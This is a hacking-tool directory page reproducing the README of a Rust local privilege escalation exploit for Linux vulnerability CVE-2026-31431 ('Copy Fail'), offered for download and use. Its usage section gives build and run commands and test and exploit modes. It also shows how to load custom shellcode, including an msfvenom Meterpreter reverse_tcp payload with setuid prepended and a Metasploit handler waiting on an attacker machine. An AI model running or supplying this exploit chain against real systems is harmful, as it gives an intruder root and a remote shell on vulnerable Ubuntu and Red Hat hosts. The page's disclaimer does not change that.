Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-31431-Linux-Copy-Fail — Rust-based local privilege escalation exploit for CVE-2026-31431, enabling execution of custom shellcode such as Meterpreter on Linux systems. | Kitploit
Tools/GitHubGitHub/iss4cf0ng/cve-2026-31431-linux-copy-fail
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPenetration TestingPayload DevelopmentBinary Exploitation
GitHubiss4cf0ng/cve-2026-31431-linux-copy-fail

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-31431-Linux-Copy-Fail

Rust-based local privilege escalation exploit for CVE-2026-31431, enabling execution of custom shellcode such as Meterpreter on Linux systems.

View RepositoryWebsite
56213 months agoReviewed by Kitploit

CVE-2026-31431 - Linux Copy-Fail Exploit (Rust)

A Rust implementation of a local privilege escalation exploit for CVE-2026-31431 (Copy-Fail).

It allows executing customized shellcode (such as Meterpreter)

Introduction

Xint disclosed CVE-2026-31431, an arbitrary page cache write vulnerability that chains AF_ALG and splice() to achieve a 4-byte write primitive.

Source: Copy Fail: 732 Bytes to Root on Every Major Linux Distribution

Disclaimer

This project was developed as part of my personal interest in studying cybersecurity. However, it may potentially be misused for malicious purposes.

Please do NOT use this tool for any illegal activities.

The author is not responsible for any misuse of this software.

Acknowledgement

  • theori-io/copy-fail-CVE-2026-31431

Note: The original work uses a compressed/encoded shellcode (e.g., /bin/sh). In this implementation, I replaced it with a raw (uncompressed) /bin/bash shellcode, making it easier to customize or directly replace with user-supplied payloads.

How to Compile

Clone the project, then execute build.sh:

root@kitploit:~
git clone [email protected]:iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail
cd ./CVE-2026-31431-Linux-Copy-Fail
chmod +x ./build.sh
./build.sh

Usage

Download and extract the release package:

root@kitploit:~
wget https://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail/releases/latest/download/CVE-2026-31431-Linux-Fail.gz
tar -xzf CVE-2026-31431-Linux-Fail.gz
chmod +x CVE-2026-31431-Linux-Copy-Fail_x64
chmod +x CVE-2026-31431-Linux-Copy-Fail_x86

The binaries provide the options below:

root@kitploit:~
./CVE-2026-31431-Linux-Copy-Fail --test
./CVE-2026-31431-Linux-Copy-Fail --exploit
./CVE-2026-31431-Linux-Copy-Fail --bin shellcode.bin

Demonstration

Test Vulnerability

On the vulnerable machine:

root@kitploit:~
./CVE-2026-31431-Linux-Copy-Fail --test

Exploitation

root@kitploit:~
./CVE-2026-31431-Linux-Copy-Fail --exploit

Meterpreter

Use the command (set PrependSetUid to True) below to generate Meterpreter payload:

root@kitploit:~
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.x lport=4444 -f elf prependsetuid=true > payload.bin

On the attacker machine (Kali Linux):

root@kitploit:~
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.x
set lport 4444
run

On the vulnerable machine:

root@kitploit:~
./CVE-2026-31431-Linux-Copy-Fail --bin payload.bin

Affected Versions

  • Ubuntu
  • Redhat
Download Tool